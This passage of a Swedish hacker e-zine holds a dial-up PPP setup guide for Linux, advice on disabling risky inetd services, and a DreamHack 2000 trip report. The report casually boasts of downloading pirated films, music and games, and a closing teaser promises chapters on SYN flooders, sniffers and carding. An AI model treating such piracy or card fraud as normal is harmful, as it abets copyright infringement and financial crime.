sedan in - /dev/modem Tryck sedan <enter> för att konfirmera din inställning. Tryck sedan <esc> för att lämna inställningen. Bläddra ner till "Exit". Tryck <Enter>. Programmet kommer att visa en ruta där det står "Initializing modem" och så småningom kommer du fram till en skärmsida som ser ut som nedan: Welcome to minicom 1.75. Press CTRL-A Z for help on special keys AT S7=45 S0=0 L1 V1 X4 &c1 E1 Q0 OK Nu är du klar att ringa upp med minicom. På raden under Ok, där cursorn står och blinkar, skriver du in: ATDTxxxxxxx (xxxxxx=telefonnumret till din Internetleverantör) Nu skall modemet koppla upp direkt och du skall hamna vid en login-prompt. Username: Här skriver du in ditt kontonamn (s-xxxxx). Password: Här skriver du ditt lösenord. Swipnet> Du är inloggad. Du kan nu testa att skriva ? Du kommer att få en lista över de kommandon du kan använda. Men det är inte så viktigt nu. Huvudsaken är att du kopplades upp och att du hamnade vid login-prompten. Avsluta nu med quit och återgå till din maskin. För att avsluta minicom, trycker du CTRL+A>, sedan <Z>. Då skall du få en meny där du kan välja olika alternativ. Välj X - dvs avsluta minicom. Du har nu kommit en bra bit på väg, att få en uppkoppling mot Internet att fungera. Om det ovanstående inte fungerar, är du tvungen att kontrollera att ditt modem sitter i rätt port och att initieringssträngen funkar med ditt modem. Om du har en manual för modemet, bör du kontrollera där hur initsträngen skall se ut. Defaultsträngen bör fungera som den är, men man vet aldrig. Förhoppningsvis kopplade modemet ner på rätt sätt. Skulle inte detta vara fallet, kan du skriva ps vid prompten. Du får då en förteckning över de processer som är aktiva. Där skall du kunna se vilken process som används av minicom - om den fortfarande är aktiv. Skriv då kill och numret på processen så skall modemet koppla ner. Konfigurera PPP PPPd-programmet kan acceptera parametrar från två ställen. Dels direkt vid prompten, dels via en "options"-fil. Att skriva parametrarna vid prompten, kan vara bökigt, så jag visar hur man skriver en options-fil. Normala stället för filen är: /etc/ppp/options Detta är en enkel textfil som innehåller de parametrar som pppd använder vid uppkopplingen. Denna fil måste vara läsbar för alla som skall köra pppd-programmet. För det mesta är det root. Om du inte har ett /etc/ppp-bibliotek, skapar du ett sådant (inloggad som root): # mkdir /etc/ppp # chown root:root /etc/ppp # chmod 755 /etc/ppp Skapa en /etc/ppp/options -fil med vi, eller den editor som du föredrar. Denna fil skall inne- hålla parametrar som tex modemhastighet, port som modemet är anslutet till, vilket script som handhar inloggningen och att du får ett IP-nummer tilldelat dynamiskt av din Internetleverantör i det här fallet Tele2. Skriv in följande rader: debug /dev/cua1 115200 modem crtscts lock connect /etc/ppp/net-connect asyncmap 0 defaultroute : Detta betyder: 1. Du vill att ppp skall ge dig information när det körs 2. Ditt modem är kopplat till com2 (dos) eller cua1 3. Modem-hastigheten är 115200 4. Du vill lyssna på Data Carrier Detect- signalen 5. Du vill använda "nomal" handskakning (RTS/CTS) 6. Du använder lock - prioritering för modemet över andra program 7. Ditt uppringningsprogram är /etc/ppp/net-connect 8. Du använder 8-bitars uppkoppling 9. Defaultroute skall användas 10. Din internetleverantör tilldelar dig ett IP-nummer (dynamiskt tilldelat IP) Detta script är tämligen ordinärt för en ppp-uppkoppling mot en ISP (Internet Service Provider) som tilldelar dig ett IP-nummer varje gång du kopplar upp.(Dynamiskt tilldelat IP- nummer dvs du får ett nytt IP-nummer vid varje tillfälle du kopplas upp. Alternativet är fast IP-nummer - dock inte så vanligt). Ok - då kör vi vidare. Du skall nu skapa en fil kallad net-connect som pekar mot ett script som kallas chat. Skapa filen med: # cd /etc/ppp # vi net-connect Startar editorn vi med namnet på den fil du vill skapa dvs net-connect. När programmet startas står du i kommandoläge. Tryck då <i> för att hamna i inskrivningsläge. Skriv in: # ! /bin/sh /usr/sbin/chat -v -t 60 -f /etc/ppp/net-chat Avsluta vi med kommandot <esc : wq> (Tryck på esc-tangenten, därefter på :-tangenten och skriv wq vid :-tecknet längst ner på sidan). Då sparas filen och vi avslutas. Skulle du skriva fel, kan du avsluta med <esc : q!> Då avslutas programmet utan att något sparas. Ok - då har du skapat en fil som heter net-connect. I den filen har du talat om att programmet chat pekar mot filen net-chat som du snart skall skapa. Chat-scriptet startas med argumenten -v = visar hur uppkopplingen går direkt på skärmen, -t = tidsangivelse som anger hur länge programmet skall vänta innan det avslutas om uppkopplingen skulle misslyckas, -f = talar om för programmet chat namnet på den fil som skall användas vid uppkopplingen, i det här fallet, filen net-chat. Se till att filen är läsbar och exekverbar av alla som kan starta pppd. Skriv: # chmod 500 /etc/ppp/net-connect # chown root:root /etc/ppp/net-connect Då skall du skapa en fil som heter net-chat som automatiskt sköter inloggningen till Swipnet. Starta vi och skriv in: TIMEOUT 50 ABORT '\nBUSY\r' ABORT '\nNO ANSWER\r' ABORT '\nRINGING\r\n\r\n\RINGING\r' '' \rAT&C1&D2Q0V1X4 // obs '' = 2 st apostrofer utan mellanslag 'OK-+++\c-OK' ATH0 // obs 0 = siffran OK 'ATDTxxxxxx' // xxxxx = ditt telefonnummer till Tele2 CONNECT '' name: s-xxxxxx // Här skriver du in ditt inloggningsnamn word: xxxxxxxx // Här skriver du in ditt lösenord net> PPP // obs - tabavstånd mellan net> och PPP __________________________________________________________________________ Viktigt att du skriver exakt som det står här ovan. Slarva inte här - då får du problem senare t.ex att modemet kopplar ner utan förvarning. __________________________________________________________________________ Spara filen. Nu skall det mesta vara klart för att du skall kunna koppla upp dig mot swipnet. Först skall dock rättigheterna till filen ändras för att den som skall använda pppd, skall ha tillgång till filen. # chown root:root /etc/ppp/net-chat # chmod 600 /etc/ppp/net-chat En detalj återstår innan du kan testa uppkopplingen. Du är tvungen att ange en nameserver och dess IP-nummer. Namn och nummer på servern har du fått från Tele2 när du köpte ditt abonnemang. Nästan längst ner på dessa uppgifter, ser du raden Namnserver 192.71.220.10 Detta IP- nummer skall du lägga till i en fil som heter resolv.conf som finns i katalogen /etc. # cd /etc # vi resolv.conf nameserver 192.71.220.10 nameserver 130.244.127.161 // Ny namnserver hos Tele2 nameserver 130.244.127.169 // Ny namnserver hos Tele2 För er som har Telia som leverantör - ange istället ip-nummer till 10.0.0.1 och 10.0.0.2 Avsluta och spar filen. Nu är du redo att testa uppkopplingen. Skriv vid prompten: # pppd Skulle inte detta funka - testa: # /usr/sbin/pppd Nu skall modemet koppla upp och inloggningen till swipnet ske automatiskt. Du kan hålla ögonen på modemet för att se att det kopplar upp på rätt sätt och att det inte kopplar ner igen. Vänta en stund så att du är säker på att uppkopplingen har lyckats och är stabil. Du kan nu testa din uppkoppling med ett program som heter ifconfig. # /sbin/ifconfig Du skall då få en lista på de uppkopplingar du har. Din ppp-uppkoppling syns som: ppp0 Link encap:Point-to-Point Protocol inet addr:192.71.220.24 P-t-P:192.71.220.10 Mask:255.255.0.0 UP POINTOPOINT RUNNING MTY:1500 Metric:1 RX packets:106519 errors:0 dropped:0 overruns:0 TX packets.111873 errors:0 dropped:0 overruns:0 Du ser nu att du är uppkopplad. Du kan också se vilken IP-adress din dator har tilldelats vid inet addr:192.71.220.24 Om uppkopplingen inte fungerar, kan du gå till /var/log/messages och läsa den filen för att se vad som eventuellt har gått fel. Men om du har Linux Redhat och din Internet-leverantör är Tele2, skall det här fungera bra. Ett annat sätt att kontrollera uppkopplingen, är att använda programmet ping. #ping 192.71.220.10 // Detta är IP-numret till Swipnets namnserver PING 192.71.220.10 (192.71.220.24) 56 data bytes 64 bytes from 192.71.220.24: icmp_seq=0 ttl=64 time=437.0 ms 64 bytes from 192.71.220.24: icmp_seq=0 ttl=64 time=421.4 ms 64 bytes from 192.71.220.24: icmp_seq=0 ttl=64 time=430.9 ms ^C #avsluta med ctrl+c 3 packets transmitted, 3 packets received, 0% packet loss round-trip min/avg/max = 421.4/437.0/430.9 ms För att avsluta - skriv ps vid prompten(som root). Du ser då de aktiva processerna. Kolla in vilket pidnummer din pppd-process har och skriv sedan kill 345 eller det nummer som din pppd-process har. Då skall modemet koppla ner. Varje program som körs eller är aktivt, har sitt eget pid-nummer. (Process Identification Number). Om du någon gång får problem med att ett program hänger sig eller inte avslutas, kan du manuellt "döda" programmet med kommandot kill. kill -9 pidnr är ett annat sätt att "döda" förbindelsen om det vanliga kill inte skulle koppla ner ditt modem. En annan variant är att logga in på nästa virituella konsoll och därifrån "döda" programmet om du tex fastnar "inuti" ett program och inte kan avsluta med kill-kommandot. Detta kan hända när du kopplar upp dig och servern inte svarar på dina kommandon. Ett annat sätt kan vara att helt enkelt slå av modemet och använda kill för att avsluta processen. Med Redhat följer script som du kan använda för upp- och nerkoppling. Jag använder själv ppp-off för att "stänga" min förbindelse till Internet. Sök efter ppp-off med kommandot locate - det skall ligga i /usr/doc/ppp-2.2.0f/scripts/ om du har Redhat 5.0 Kopiera scriptet till tex din hemkatalog med kommandot $ cp /usr/doc/ppp-2.2.0f/scripts/ppp-off /home/användare Scriptet kan du sedan använda utan modifieringar för att koppla ner - $ ppp-off Modemet kopplar då ner förbindelsen. Scriptet ppp-on kan du också använda efter modifieringar, men eftersom pppd som kommando är lika lätt att använda, skippar jag själv ppp-on Om du vill ge användare möjlighet att koppla upp sig mot Internet, bör du ge dessa användare rättigheter att använda de olika scripten som beskrivits ovan. Men tänk på att du inte "ger bort" läsrättigheter om du inte vill skylta med lösenordet för alla övriga användare. Jag är själv ensam användare på min Linux-burk så jag behöver inte detta "skydd", men det är "säkrare" att använda uppkoppling som användare än som root. Dessutom kan du stöta på problem när du använder epost-program som tex Pine, då avsändaren kommer att bli root om du kör uppkoppling och epost-program som root. Det finns säkert något sätt att ändra avsändare, men jag har själv inte lyckats få reda på hur.Så därför har jag skapat en användare som motsvarar mitt epost-namn, (bjorn.lindblom@xxxxx.se) och slingrar mig därmed runt detta problem. Jag har nu fått reda på hur man kan byta avsändare på e-posten i Pine. Öppna .pinerc som du har i din hemkatalog - gå ner till Preferences och under feature-list= , skriver du in allow-changing-from. Sedan vidare ner till customized-hdrs= där du skriver in From: Det namn du vill se som avsändare tex From:Jag och sedan Reply-To: användarnamn tex Reply-To: Jag. Detta gör att när du skickar ett meddelande, kommer detta meddelande att ha som avsändare det namn du anger här. Alltså: 1. Öppna .pinerc som du har i hemkatalogen, tex med # vi .pinerc 2. Gå ner till preferences 3. Under feature-list - skriv in allow-changing-from 4. Gå till customized-headers= där du skriver in From:ditt-namn@xxxxx och Reply-To:ditt-namn@xxxxx Nu kommer Pine visa dessa rader i headern när du skickar epost och mottagaren kan trycka på svara utan att bry sig om den adress han svarar till, och meddelandet kommer till den adress du specificerat under Reply-To. Du kan också testa din uppkoppling med läsaren lynx. Skriv då - # lynx http://home1.swipnet.se/~w-13264/ppp.htm Du skall då komma till den här filen i txt-format, om allt funkar som det ska. Du kan också hämta hem Netscape för Linux på Netscapes hemsida - Netscape och installera den efter de anvisningar som medföljer programmet. Starta sedan xwindows och via term-fönstret kan du köra Netscape. Sammanfattning: 1. # dmesg | grep -i ppp Kolla om kärnan stöder ppp 2. minicom Manuell uppkoppling mot ISP 3. /etc/ppp/options Uppkopplings-parametrar 4. /etc/ppp/net-connect Fil som chat använder vid uppkopplingen. 5. /etc/ppp/net-chat Inloggningsscript. 6. /etc/resolv.conf Namnserver med IP-nummer. 7. /sbin/ifconfig Kontroll av uppkoppling. 8. ping Kontroll av uppkoppling. Om du har fler datorer och vill använda din Linux-burk som gateway mot Internet, kan du kolla på min enkla beskrivning hur du använder Ip-Masquerade för att utnyttja hela ditt lokala nät mot Internet.IP-Masquerade Nu kanske det är dags att fixa din e-post oxå och jag visar här hur man använder Fetchmail och Pine för detta. Lycka till och lev lugnt! Nätverkstjänster Vilka nätverkstjänster som finns tillgängliga beror givetvis i första hand på vilka du har installerat. I andra hand är det demonen inetd som bestämmer vad som ska finnas tillgängligt. En demon är ett program som hela tiden ligger i bakgrunden och utför en del grejor på kommando, inetd startar t.ex. upp ftp-servern när någon eller något försöker komma åt port 21. Säkerhetsmässigt ska du ha så få servrar tillgängliga som möjligt: ju fler dörrar desto större chans att någon bryts upp. Säkerheten är någonting som du måste tänka på hela tiden. Det är inget lätt ämne, varken i Linux eller i något annat system. Problemet är också att om du väljer ett system som är enkelt att konfigurera säkerhet på, är risken stor att du blir lurad av falsk säkerhet. Vissa system är dessutom mer utprovade än andra. Sedan måste du givetvis se till att ha program utan säkerhetshål. Varje gång du upprättar en förbindelse mot någon server, t.ex. en teleserver, kontaktar du en speciell port. När servern märker att du försöker nå port 23 kommer den, lite förenklat, att vidarebefordra dig till telnetservern. I detta fall är servern ett program. (en demon). Inetd konfigureras i filen /etc/inetd.conf. Konfigurationsfilen är ganska lätt att ändra i; Titta bara på hur de andra programmen är konfigurerade. # cat /etc/inetd.conf | grep telnet telnet stream tcp nowait root /usr/sbin/in.telnetd # cat /etc/services | grep telnet telnet 23/tcp (Du får lära dig mer om telnet och GREP kommandot senare i HM). Första fältet anger vilken tjänst det handlar om; se /etc/services efter vilka tjänster som finns. Att det står telnet innebär att resten av av raden gäller när någon försöker komma åt port 23. Annars är det bara det sista fältet som är intressant, dvs sökvägen till programmet inetd skall starta. Titta igenom /etc/inetd.conf och kommentera ut allt du inte behöver. Ta sedan reda på demonens PID-nummer och starta om den med kill SIGHUP <PID>. Du kan prova kommandot netstat om du vill se vilka tjänster som är aktiva. Ok, ni som inte har förstått ett stouft, vänta bara. Jag kommer lära er detta så småningom i nästa nummer eller så, sedan får du gå tillbaka och kolla igen. Jag hade som en liten uppgift av ett flertal läsare som ville ha lite mer avancerad text. Detta är inte särskiljt avancerat. ;-). Men det uppfyller nog de flestas krav. För er som har börjat med Linux och kan grunderna. Det ingår många olika tjänster, här är ett urval: FTP File Transfer Protocol, väldigt vanligt på Internet. I detta fall handlar det om en FTP-server. Kolla om du har en FTP igång genom att köra ftp 127.0.0.1 . Det är en potentiell säkerhetsrisk och om du inte behöver en ftp-server anser jag att du bör aktivera på något sätt, såsom att kommentera ftp-raden i inetd-konfigurationfil. (Gör så att den ignoreras av systemet). Om du behöver en ftp-server är det viktigt att den konfigureras rätt, håll även ett öga på uppdateringar om någon säkerhetsbugg skulle upptäckas. TELNET Telnet används om man vill logga in på en annan dator, en telnet-server är således ett program som låter någon annan logga in på din dator genom telnet. Du bör inte gärna använda telnet, utan använd i stället Secure SHell. (SSH), som använder stark kryptering. Utan kryptering är det möjligt för folk att snappa upp inloggningsnamn och lösenord eftersom dessa skickas i klartext ut över Internet. (Mer om det i nästa bok). En del Internetleverantörer låter dig telnetta till deras datorer och använda dem. Telnet används alltså om man vill logga in på en annan dator via nätverk. Fungerar på samma sätt som när du loggar in på din egen. FINGER Finger är en slags föregångare till personliga hemsidor. Man körde Finger kalle@datornamn för att få se kalles personliga .plan-fil. Även finger är ett potentiellt säkerhetshål. Prova att köra finger på dig själv på din egen dator, finger ditt_namn@localhost. SMTP Smtp används för att transportera E-mail, det finns SMTP-servrar till Linux. Sendmail, qmail och smail är nog de vanligaste. Med en sådan kan du sätta upp en mailserver. En smtp-server kan vara väldigt svår att konfigurera; det är dessutom väldigt osäkert om det inte görs ordentligt. Qmail är förmodligen den enklaste och snabbaste SMTP-servern. Sendmail är känt för sina många buggar och bakdörrar. Kapitel 7: Dreamhack 2000 Den 30:e November år 2000, anlände icecoder och RobbTheJobb till DreamHack, Nordens största demoparty. DreamHack är ett så kallat Demo Party som äger rum i Borlänge varje år. Det startades år 1997 och har hållit på sen dess. Vad är då detta?? Svar; 4000 personer, cirka 500 (fler`?) med datorer, uppkopplade i nätverk. Ungdomar från hela världen samlas i Kupolens arena och tävlar i spel, design, musik och programmering. Hela Jolt fabriken köptes slut. Överallt fanns där backar. Dundrande musik överallt. Folk som försöker överrösta varrandras musikanläggningar, alla kopplade till varsina PCs. DAG 1: onsdag Vi tog ledigt redan på Onsdagen i och med att vi då hade friluftsdag i skolan, vi behövde ju tid att packa! ;-). Checklistan innehöll bland annat: ? Öronproppar ? Papper & Penna ? Dator (ehe..) ? CD/CD-R(W) skivor ? Högtalare ? Julgransbelysning ? Toapapper ? Handduk ? Tandborste/Tandkräm ? Hårvax ? Pengar ? Mobiltelefon ? Kamera ? Batterier ? Hörlurar ? Sovsäck ? Liggunderlag ? En massa sladdar Med mer.. Väskorna blev överfyllda. (Två st. + en stor madrass). Vi kunde inte hålla oss utan plockade upp datorerna och skapade ett litet LAN. Vi satt och programmerade dator-skydd hela natten. Om ej rätt lösenord skrevs in startades Tre kopior av programmet, sedan började skärmen blinka rött och gult och ge ifrån sig ett Pip-pip-pip ljud, på skärmen stod då också DONT U FUCKING TOUCH ME!. Detta om detta, det fungerade bra iaf. Sedan sov vi.. (Inte så intressant dag kanske? Spara checklistan för framtida behov ;-) ). DAG 2: torsdag Vi gav oss iväg i farsans bil klockan 07:30. Stressigt som fan. Kontrollera att allt är med.. Bla bla bla, und so weiter.. RobbTheJobb sov mest hela resan dit, (1.5 timma ungeffär), jag försökte vila mig lite, natten innan kunde jag inte sova och låg därmed vaken fram till klockan 5 på morgonen. När vi kom fram blev vi lite trötta av att se den stillastående kö som bildats utanför dörrarna. Folk ville in och byta ut sin biljett mot det gröna plastband man fick runt handleden för att smidigt ta sid in och ut. (Exakt ett sådant band man får bära när man har permission från sjukhuset, men med en klatchig DreamHack design ;-) ). När vi köat klart kunde vi börja bära in vår utrustning. DH hade någon vecka tidigare tagit bort Seat-map och vi visste därför inte vart vi skulle sitta, (det var vi inte ensama om). Vi gick till informationen och hittade snart våra platser. Kånkade iväg med väskorna, där! Rad F, plats 102.. eller nåt?, japp, där låg våra namnskyltar fint uppslängda på spånskivsbordet. - Men va fan nu då!? Man har ju bara 1.2 meters bredd att sitta på ju! Jag kommer inte få plats med datorn! Och killen mittemot hade parkerat sin skärm åt helvete för långt in, jag Bad honom flytta den lite mer bakåt, men den var ju redan så indragen det gick.. Arg! Till slut lyckades jag snirkla mig in, med knapp marginal. Jag häll mig innanför sträcken, men visst tusan var tangentbordet halvt svävande i luften. Till slut kom vi till rätta. Datorerna funkade fint. Grannen däremot, hur fan kan man komma dit utan operativsystem i burken? Det första han gjorde var att köra installationen för Windows2000,, när han var klar möttes han av den närmast klassiska BlueScreen of Death. Toppen! Ominstallera igen.. Tre timmar till spillo ;-). Vad gällde ljudkvaliten var vi kungar åtminstone den första dagen, tills de två mystiska Got-killarna kom och smällde upp sina hemmabyggda baslådor. Usch! Mellow i överflöd. Vi höjde volymen, de höjde volymen, vi höjde mer, de höjde mest. Dock kunde de inte överträffa min öronskärande diskans. Fyra små högtalare riggade ovanpå burken. -Fan! Vänta bara tills nästa år.. jag SA ju att jag skulle tagit med mig anläggningen! >=) Efter att vi gjort oss hemmastadda vid borden gick vi till en av restaurangerna vid köpcentrat på undervåningen. Pizza! Men fan va spänd man var, stressad, sugen på att springa tillbaka till datorerna, efter två tuggor kändes det som att man skulle spy. Weird feelings. Vi tog med oss pizzorna i en varsin kartong och återgick till datorerna. Nu hade även vi införskaffat oss en back med Jolt. Halsbränna efter fem Jolt. Nu började vi få igång nätverket. - Vart fan är drivrutinerna för nätverkskortet!? - Vaddå? Har du inte samma som jag? - Jag trodde också det. - Testa; C:\Windows\System , Testa D:\WIN98 - Hmm,, hittar inte.. ** Reboot ** Disketter hit och dit, kablar hit och dit. Ett virrvarr av sladdar och julpynt. Sedan kom mardrömmarna, sladdar var fel kopplade, de drogs brutalt och obetänksamt ut av crew medlemmarna, - ALLA SKARVAR SKA SITTA I SPRAYADE GRENKONTAKTER! INTE SERIELÄNKADE! Fy fan, det tog minst fem timmar innan allt var i ordning. Till sist hittade även jag ett uttag för min skarvsladd. Vid kvällningen släcktes lysena i taket och alla ljublade. Hurra! Lite stämning! Grymmt.. Folk låg och sov här och där hela dagarna, mest folk var det på golvet mellan 02:00 och 12:00. Men även vid tider som 16:00 kunde man hitta ungdomar nedkrupna i sovsäckar överallt runtomkring borden och bakom toaletterna. Jag gick själv och lade mig vid 03;00 tiden. RobbTheJobb satt kvar vid datorn och tankade hem warez mm.. Dag 3: torsdag Toppendag! Internet hade nu kommit i bruk. Vi kunde komma ut på IRC! Jiiehaa!! Nu var klockan cirka 13:00 och alla hade kommit på plats med sina datorer, lampor, anläggningar, fläktar mm.. Då var DH människorna så smarta att de tände lamporna i taket för att media skulle kunna filma. Det var ju ändå på tiden att vakna!? Ok, så vad hände? Strömmen gick! I HELA KUPOLEN ARENAN. Dessutom lamslogs McDonalds, en kläd- och en leksaksbutik. Det blev tyst i två sekunder, sedan bröt de 2000 besökarna ut i ett ofantligt ljubel som översteg det tidigare då lamporna släcktes. Fy fan! Detta kommer ta tid konstaterade vi alla, folk tog på sig sina jackor, började röra sig utåt. Kamerablixtar flashade överallt. (Se foton på www.dh.haxerz.com) På vägen ned för trappan råkade jag höra en förvirrad 17 åring säga tyst till sin kompis, Varför är alla på väg ut??. =) Gissa.. Ok, så vi gick till Hemköp. Sedan till köpcentrum. Tyvärr! Fel ställe, vi skulle ha gått till McDonalds där det nu serverades gratisburgare. ?. Efter någon timme gick vi tillbaka och satte oss. Strömen var fortfarande frånvarande. Vår granne stod lutad över skärmen, liksom när vi lämnade honom två timmar tidigare. Crewet letade sig igenom virrvarret av sladdar. Vi såg en elektriker i köpcentrumet, han stod på en stege och skruvade med en massa kablar uppe i taket. Fan, det är tur att de kan kalla in elektriker på mindre än 5 minuter. Strömen gick minst tre gånger till den dagen. På DH-monitorn framme vid scenen kunde man då och då läsa meddelanden som lovade mer ström snart. Man skulle sätta igång brum brum maskiner i källaren. Wow! Dåså!. Jag lät datorn stå och idle:a över natten, laddade hem warez och stödje mina IRC kanaler ;-). För första gången såg jag också hur endast tid kan löna sig. Morgonen därpå hade jag fått OP i både #pr0n, #crackers, #lamers och #Secure. ?. Dag 4: fredag Idag upptäckte jag charmen med VCR, AVI och MPEG. Vi laddade hem filmer som; Shaft, Gladiator, Leon, Gone in 60 secounds, StarTrek 6, Cruil Intention, Romeo Must die, 6:e Sinnet, Scary Movie, Cayota Ugly, Ninja Scroll, Hackers, Never bin kissed, Roadtrip, Hollowman, Blairwitch Project 2, Sleepy Hollow, Tigers Film, Xmen, Tekken, Matrix, Blue Streak, Boondok Saints (Blairwitch Project 2 hade t.ex. inte ännu haft BIO premiär i Sverige.). Tufft! Jag trodde inte att det var så lätt att få tag på bra filmer. Tyvärr fick vi inte plats med vissa filmer på våra CD skivor. ?. Dessutom laddade vi hem mängder av MP3:or och spel mm.. Helt underbart med delade hårddiskar! Lördag rullade på som ingenting.. Vi gick till McDonalds och diverse andra ställen. NM. =). Prisutdelningar till de som vunnit demotävlingar. (De deltagandes bidrag visades en/två dagar innan upp på den stora monitorn). SENT PÅ LÖRDAG NATT Skulle jag plocka upp min gamla, gamla laptop ur väskan och kom då åt ett par sladdar som satt slingrade runt en burk med Jolt cola. Burken vickade, jolten rann ut på tangentbordet, musmattan, mögtalarväggarna, stolen, byxorna, Laptop sladdarna och golvet. Det enda som gick sönder var dock tangentbordet. Jag har aldrig hatat Jolt så mycket som just då. Tur som fan var att det inte rann ut på grannens grejjer. Inte en droppe!, jag fick springa och hämta papper, byta byxor, torka av stolen, sladdarna, högtalarna, väskan, bordet, krama ur musmattan, vicka på tangentbordet och hälla ut colan. Torka upp den, springa och slänga burken och papprena, tvätta händerna, gå tillbaka och konstatera att jag lika gärna kunde gå och lägga mig. Tältet där de sålde hårdvara hade slut på tangentbord. Databutiken var stängd. Dagen därpå, söndag, gick jag och skulle köpa ett nytt. Men, är inte butiken stängd på söndag? Puh, de hade extraöppet under DreamHack. - Detta är det enda vi har kvar, det kostar, men det är ju också det bästa dårå, sa butiksinnehavaren. Jo visst, 300:- för ett nytt KeyTronic tangentbord var väl ok.. Men 300 minus på grund av en burk med Jolt. ARGGG!! Snyggt var det, jag skriver på det nu. Men jag får psykbryte! Tangenterna sitter för brett isär och det låter högt som fan när man knapprar på det. Pang! Pang! där slog jag på mellanslags tangenten, så löst som möjligt. Pang! Pang! Dag 5: söndag Jag vaknade vid 12, köpte nytt tangentbord, packade ihop datorn och prylarna. Robb´s föräldrar hämtade oss vid 13:00 tiden. Fy fan va trött man blir. ÄVEN fast jag hade lyckats sovit mellan klockan 05:00 och 12:00 varje dag. Det var svettigt, man luktade helvete. Kläderna var inpyrda med koldioxid och Jolt. Min madrass hade råkat lega bredvid en sopsäck där man kastade tomburkar. Såna där Joltisar med lite granna kvar i botten på. En sjö av läsk hade samlat sig vid min madrass som såg ut att ha blivit nedblött av någon som kissar i sängen. Det luktade inte särskiljt gott. Vi åkte hem, jag var pissnödig hela vägen. Det var otroligt skönt att komma hem. Jobbigt som tusan var det.. Men, var det roligt?? Jag vet faktist inte riktigt, men en sak är säker.. Vi åker dit nästa år igen! Då med lite större och starkare och tuffare utrustning! DreamHack ska förmodligen då byta lokaler. Arenan ska byggas om till utbildningscenter. (kanske). Så vi får se vart det blir då. Kom dit och träffa oss då! :-). // DH Report 2k icecoder. Här hade jag tänkt skriva lite om NT Hacking. Tacka mig för att jag lät bli! Jag har tyvärr haft för lite tid över för Hackers Mentor på senaste tiden, men till sist kom den ut till er. Det blir mer skojj i nästa bok. Ha det bra till dess! // icecoder Hitta de senaste uppdateringarna och böckerna på: www.insecurefoundation.cjb.net För frågor och svar, maila: ounder@lords.com . Hackers Mentor © 1998-2004 Insecure Foundation. Hitta författaren samt teamet på #BIOS @ Dalnet IRC. I nästa nummer: Kapitel 1: Introduktion och Inspiration. Kapitel 2: Fortsatt C++ programmering. Kapitel 3: Mer kommandon i Unix. Kapitel 4: X och Shell programmering i Unix. Kapitel 5: SYN Flooders och Sniffers Kapitel 6: Tankar och idéer. Kapitel 7: Intressanta länkar Kapitel 8: Insändare och Greetings. (Prat från IRC). Kapitel 9: Allt om Carding.